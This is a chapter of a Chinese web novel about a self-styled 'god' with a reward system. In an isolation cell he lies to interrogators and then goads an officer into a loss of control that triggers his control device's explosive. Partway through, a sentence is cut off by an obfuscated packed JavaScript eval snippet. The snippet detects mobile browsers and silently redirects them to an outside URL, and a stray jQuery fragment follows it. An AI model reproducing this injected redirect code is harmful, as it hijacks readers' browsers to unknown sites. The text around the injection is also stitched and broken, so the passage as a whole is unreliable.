燕堇和杨自明描述的情况基本一致,唯一的疑点就是燕堇究竟是怎么出现在紫山精神病院的。
“杨医生说,你一身是血的出现在病院门口,但身上没有任何伤口,”审讯员安抚的掌心向下压了压,放轻声调问:“能告诉我,究竟发生了什么吗?”
隔离室的墙壁刷成了纯白色,燕堇是其中唯一的墨色,他一眨不眨地看着审讯员,笑着说:“我不知道。”
“可能是产生了幻觉,也可能是别的东西,”漂亮的青年端坐其中,像是一副昂贵的油画,“大多数时候,我不知道我看到的东西究竟是不是真的。”
审讯员垂下眼温和地笑了笑,“没关系,你只要告诉我你看到的一切,是不是幻觉我们自有定夺。”
那油画的笑容弧度扩大了些,搭在膝盖上的手指轻轻抬起又放下。
良久,审讯员看到青年偏过脸,似乎陷入了回忆之中。
“他看起来真古怪,”坐在监控室的男人转了转旋转椅问:“邬俞,你跟他接触的时候发现问题了吗?”
嘴里咬着巧克力刷娱乐新闻的男人头都不抬一下,“谁?”
“燕堇。”
“哪个?”
“跟着你回来的那个。”
同事不耐烦的敲了敲桌子,“你抬头看一眼监控不就知道了。”
邬俞兴致缺缺地抬起脸,墙壁上镶嵌着巨大的屏幕,屏幕被分割成两半,左边是杨自明,右边是燕堇。
青年终于吐露了那天发生的事,他的声音很轻,不带任何情绪。
“那天外城区起了很大的雾……”
一个多月前,外城区
强大的诡异往往会与天灾绑定在一起,暴雨、大雾、地震……每当遇到类似的天气时,人们都会尽可能避免出门。
空荡荡的街道上只有倒下的垃圾桶和无人在意的动物尸体,垃圾桶里空无一物,早就被附近的居民搜刮干净了。
“哐当!”挂在墙壁上的吊牌不堪重负,猛然砸了下来。
燕堇目不斜视,踩着金属吊牌走了过去,他是从街道对面的废弃零件场里走出来的,衣角沾了不少黑色的机油。
手里变形的莲花灯还在断断续续的唱着早已变调的生日歌,亮起的灯光映射在燕堇的侧脸上。
今天并不是他的生日,他只是喜欢这个聒噪的小玩意儿。
也可以随时不喜欢。
走了没多久,燕堇在浓雾中看到了另一道身影,对方正在快速的朝他靠近。
那人跑得急促,呼吸声重而沉闷,长长的外套拖在地上,全身一股难闻的化学药品味。
对方似乎也看到了燕堇,两人齐齐停住了,只剩下莲花灯还在一展歌喉,一遍一遍,如泣血的夜莺。
在雾里遇到的可以是人,也可以是诡异,见对方不动,燕堇先一步走了过去。
“别过来!”那人尖叫起来,比莲花灯的声音还要刺耳。
异变突生,一道巨大的黑色触手从男人的背后刺了进来,紧接着向上一挑,轻而易举的将他从中间撕裂成两半。
遮蔽视线的浓雾在转瞬间散开,燕堇和那只巨大的诡异同时暴露在了彼此的视线中。
它残忍地咧开嘴,触手高高抬起,尖刀一般迅速刺下。
青年直愣愣地站在原地,被吓傻了似的,那尖刀的影子在瞳孔中越来越大,“噗嗤”一声从中断开。
腥红的血瀑布一般砸了下来,燕堇平静的表情一点点裂开,哪怕他第一时间向墙后跑,还是不可避免地沾了一身血。
红色的血,不是诡异,是异化者。
【系统:任务奖励一次性攻击使用完毕。】
“谁家系统和你一样,一点都不智能,”燕堇甩了甩袖子上的血,抱怨道:“你只会说这些吗?不能陪我聊会儿天?”
【系统:我们只是工作关系,请不要对我的私生活太感兴趣。】
“你不是我第一个信徒吗?”
扔开手里的莲花灯,燕堇侧头看向异化者,面上似笑非笑地说:“在你的神主面前表现一下吧。”
【系统:我已经开始后悔选择你了。】
信徒越多,奖励能够发挥出的力量就越大,系统喜欢大量的传播,而燕堇喜欢盯住几个重要人物逐一突破。
就像传销一样,这些人自会发展下线。
他们俩一言一语之间,受惊的异化者正古怪地看着墙角下的青年,那人扎着高马尾,一双金瞳忽明忽暗,墙后的阴影完全将他笼罩了进去。
莲花灯在他的脚边唱着喑哑的生日歌,它同样沾满了血,欢快的歌声像是催命符。
触手断裂的痛意针扎一般一下一下的刺着太阳穴,异化者惊疑不定的后退了一步。
燕堇似有所觉,抬眸问:“你要逃跑了吗?”
这话形同挑衅,异化者退缩的心受了刺激,本就不稳定的状态被这么火上浇油直接炸开了。
“随便吧,”那张大嘴里传来的沉闷的声音:“管你是异化者还是什么人,想死我就满足你!”
数十道触手射了出来,边缘长出尖锐的利刺,直奔燕堇面门。
“看看我还有什么奖励没用…嗯…”青年看着空气停顿了一会儿,唇角牵起,轻声说:“砰。”
“砰!”
与此同时,异化者的身体彻底爆开了,像是成熟的石榴一般,那人凄厉的尖叫了一声,化为一滩血水。
“真臭。”燕堇擦了擦脸侧溅到的血,鼻梁侧面的小痣被红色浸染,像是一粒朱砂。
【系统:用这个对付它太浪费了。】
“我喜欢。”
不管系统怎么说,自诩神明的青年原地转了一圈,右手抬起在空中画了个半圆,紧接着落到心口,做出落幕的姿态。
唯一捧场喝彩的观众就是角落里的莲花灯。
浓雾淡去,燕堇双手插兜走在街道上,有人小心翼翼地从二楼的窗户处偷窥他,望见青年一身的血,又惊得重新躲了起来。
他就这么旁若无人,一路走到了紫山精神病院门口,沉默了许久的系统突兀的开了口。
【系统:你来这里干什么?】
“来看看我下一个信徒。”
紫山精神病院只有三名病人依然能够运转至今,原因无他,病院的院长是内城区裴家人。
裴之涟,裴家主的侄子,也是紫山精神病院仅有的几名病人之一。
值得一提的是,裴家是救世神教廷的忠实拥护者。
燕堇将事情挑挑拣拣的说了出来,异化者的死亡被他隐瞒了下去,反正那么大的雾,根本没人看到发生了什么。
“那个人当着我的面被诡异杀了,我吓得只知道跑。”燕堇平静的诉说着残酷的一幕,眸光落在纯白的墙壁上,久久没有移开。
撒谎。
“我身上的血来自那名死者,我永远忘不掉他恐惧的脸。”
撒谎。
“但是、但是…”他的声音陡然低了下去,“我没想到,时隔一个多月,诡异居然会追到紫山精神病院。”
撒谎。
垂下的眼弯成细细的弧度,燕堇哽咽着说:“我差点害了杨医生。”
审讯员一低头就能看见青年光洁的后颈、优美的脊骨,在过大的病服中轻微的颤抖。
“我很抱歉,”审讯员歉意的抿了抿唇,站起身点头示意:“希望您有个美好的夜晚。”
燕堇眼珠动了动,视线移到了审讯员身上,唇角向两边提起:“您也是。”
“…god。”监控室里的男人一只手捂住额头,满色呆滞。
“怎么了?他隔着屏幕把你打了一顿?”邬俞挑眉问。
“他在撒谎,”同事放下手,搓了搓双臂,冻得直抽气,“你带了个什么人回来,怎么嘴里没一句真话?”
同事也是被诡异污染后保持理智的人类之一,被污染后他拥有了诡异的少量力量,只要听到别人撒谎就会感到一阵寒冷。
邬俞闻言嗤笑了声,“我就知道了?”
同事已经冷得受不了了,他裹紧外套从监控室里走了出去,离开前不忘提醒邬俞:“你看着他,别乱来。”
邬俞比了个敬礼的姿势,吊儿郎当的目送同事消失在门后。
“咔”的一声上了锁,邬俞长腿一跨往旋转椅上一躺,翘起二郎腿打开了对讲机。
“神主先生,听得见吗?”
屏幕中的青年抬起头,上挑的眼尾不带一丝情绪的看向摄像头,语气淡淡的、带着点恶劣的问:“鬣狗先生,吃完巧克力了吗?”
看来听得见。
邬俞笑眯眯的说:“杨医生那边的说法和你些小小的不一样。”
卖关子似的,邬俞戏谑的问:“您知道是哪里不一样吗?”
燕堇身体向后一仰,歪倒在单人床上,用侧脸对着上方的摄像头,眼睫颤动了一下,轻轻闭上了。
邬俞笑出了气音,“理我一下,好歹我救过你。”
床上的青年权当没听见。
【系统:躺在这里发展不了任何信众。】
“闭嘴。”
这话是对系统说的。
邬俞收了声,惊讶的抬眉,没想到燕堇会这么不客气。
见邬俞也安静了下去,燕堇睁开一只眼,半睁半闭的看向摄像头:“变成家养狗了吗,鬣狗先生?”
邬俞笑出了一声气音,没有被燕堇激怒,道:“我可是好心帮你,明天还有人来问,记得圆谎。”
只要他那堪称“人形测谎仪”的同事在,燕堇说破嘴皮子也没用。
眯起眼,邬俞饶有兴趣的打量着燕堇,期待那张秾丽的脸上露出不可置信、甚至是恐慌的神色。
“圆什么?”
燕堇一只手撑起上半身,黑发海藻一样披在肩上,似笑非笑的问:“长官,你来告诉我吧。”
从头到尾邬俞就没注意过杨医生说了什么,更不可能知道有什么不同,但编起瞎话来却很熟练。
“他说你像异化者。”邬俞随口道。
燕堇完全不接茬,道:“等隔离结束就知道了。”
接下来几天,燕堇一直处于隔离状态,每天唯一的娱乐就是和邬俞聊天。
邬俞像是不用工作一样,准时准点出现,一聊就是几个小时,有时没了话题,彼此听着对方的呼吸声直至入睡。
今天是隔离的最后一天,燕堇已经连续六天没有签到了,流动的岩浆在礁石下露出烧红的一角,等待着最终收割成果。
他不在乎邬俞在监控后看了多久,静静的等待着邬俞的情绪波动值达到70。
一直没有露面的男人熟稔的问:“在紫山精神病院治疗了一个多月,你的病好点了吗?”
“这个问题你已经问了很多次了。”
“我只是想知道你为什么选择紫山精神病院,那里口碑也不怎么样。”
燕堇轻声笑了一声,半垂的眸子里泛起冷意,他随手将背后的黑发拢在一起,五指从发丝中穿过。
“你在套我的话吗?”
“你愿意告
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509502|170554||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诉我吗?”邬俞厚着脸皮问。
“你进来,我就告诉你。”
71。
燕堇抬起头,轻轻呼出一口气,脖颈的侧影投射在纯白的墙面上,像是一把弯刀般凌厉。
这是十分冒险的行为,通常污染爆发都集中在隔离最后一天,燕堇很有可能突然异化。
到时候,孤身一人又被控制器限制了力量的邬俞绝对活不下来。
少顷,燕堇听到那人说:“好啊。”
73。
脚步声逐渐靠近,在门外站定,透明玻璃外的男人打了个哈欠,眼下似乎熬出了黑眼圈。
在燕堇安然入睡的时候,邬俞依然警惕的盯着屏幕看了一整夜。
这日子真没法过了。
又打了个哈欠,邬俞从容不迫的走进了隔离室。
从他靠近开始,燕堇耳边的机械音就喷井似的爆发开来,74、71、77、70……情绪波动值过山车似的上上下下,光从邬俞镇定的脸上可看不出这么多内容。
监控室里,方诏和几名队员紧张的看着二人,门口也有人守着,只要燕堇有任何不对劲他们就会立刻破门而入。
“现在可以告诉我了吗?”邬俞双手插兜在燕堇对面半米处站定,看似放松的姿态下是紧绷的肌肉。
燕堇抬了抬下巴,嘴角扯出一个凉薄的弧度,“为什么不再靠近点?”
邬俞耸肩:“怕你被我帅到。”
“你进来之前照过镜子吗?”
燕堇抬手指了指邬俞的脸,语气懒洋洋的说:“看看你的眼睛,像是要把我生吞活剥了。”
邬俞看不到,他微微倾身,透过燕堇的金瞳注视自己的倒影,“你怕了?”
燕堇的话被他还了回去,青年没生气,伸手抓住了邬俞的衣领,将他的脸向下一拉。
四目相对,燕堇的吐气直接喷到了邬俞的脸上。
青年的眉眼生的艳丽,浅浅的小痣嵌在鼻侧,唇一张一合的问:“你其实很喜欢我的脸吧?”
涂着指甲油的手指隔着一层薄薄的布料留下冰冷的触感。
这个几乎要靠进他怀里的青年不像人,活脱脱一只从棺材里爬出来的艳鬼。
邬俞愣了一瞬,很快回过神来,表情自然大方的说:“是挺喜欢。”
监控室里的方诏眉头深深的皱起,“这臭小子在胡说八道什么?”
同事摸了摸鼻尖,没告诉方队现在年轻人流行快餐式恋爱。
诡异像是达摩克利斯之剑一样悬在所有人的头顶,在短暂的生命中,人们更加追求速度,聊两句看对眼了就能领回家。
但在一名疑似异化者面前,邬俞可不敢放松紧惕。
“喜欢归喜欢,神主先生,我的脖子快要被你拽下来了。”邬俞伸手握住燕堇的手,将自己的衣领从他的手中解放了出来。
燕堇低低的笑了声,“你不是想知道我去紫山精神病院的目的吗?”
“弯腰,低头,”手指向下弯了弯,燕堇用命令的口吻说:“跪下来。”
话落,他充满恶意的问:“做得到吗?”
邬俞对着他呲了呲牙,露出一口白牙,“我真的会咬死你的。”
“在此之前,你还是要先跪下。”
邬俞沉默了。
他站在原地,比艺术馆里的雕像还要适合展览。
剧毒的水银似乎从青年的毛孔中渗透了出来,燕堇轻轻踩住邬俞的鞋尖,懒洋洋的抬眸问:“刚刚在说大话吗?”
【系统:人物邬俞,情绪波动值:90】
终于,邬俞掂着双脚蹲了下来,头发被他抓的乱糟糟的,突兀的蓝色挑染从耳边横了过去。
他拍了拍燕堇的膝盖问:“喂,你他爹的真把我当狗啊?”
燕堇俯身笑道:“你不是挺享受的吗?”
看在这张脸的份上,邬俞可以容忍燕堇的恶劣性格,他伸长了脑袋将耳朵贴近,“跟我说说,我真的好奇。”
燕堇没再吊着他的胃口,附耳低语。
下一秒,他直接将邬俞推了出去。
邬俞黑瞳骤缩,几乎成了针点大小,错愕的看着燕堇,不敢相信自己听到了什么。
“你——”
情绪波动值突破九十的瞬间,控制器判定邬俞即将失控,自动引爆了炸药。
“轰!”
系统的机械音被爆炸声掩盖,浓烟直冲天花板,燕堇闻到了淡淡的焦味,像是某种肉被烤熟了。
外面很快传来了骚动的声音,大门一开,浓烟散去,邬俞的身形显露了出来。
骨刺从他的后腰和手心伸了出来,半张脸都发生了异化,监控室里的人不知道燕堇究竟对邬俞说了什么,只能先将邬俞控制住,强行带走。
燕堇望着他,眼尾微微眯起。
99。
很不错的数字。
当天凌晨,燕堇出现在了关押邬俞的房间外,居高临下的看着他。
异化者强悍的恢复力不容小觑,脖颈处根本看不出半点伤痕,唯一的变化就是失去了控制器的束缚。
邬俞盘腿坐在地上,燕堇的影子针似的穿透了他的身体。
清瘦的青年踏入了灯光的范围,上挑的眼阴沉沉的,挽起的袖口露出一截冷白的腕。
秾丽、苍白、高挑。
漂亮的青年垂眸,似教廷中悲天悯人的神像,嘴里吐露的却是不折不扣的毒液。
“怎么办啊,鬣狗先生。”
“现在,你是条流浪狗了。”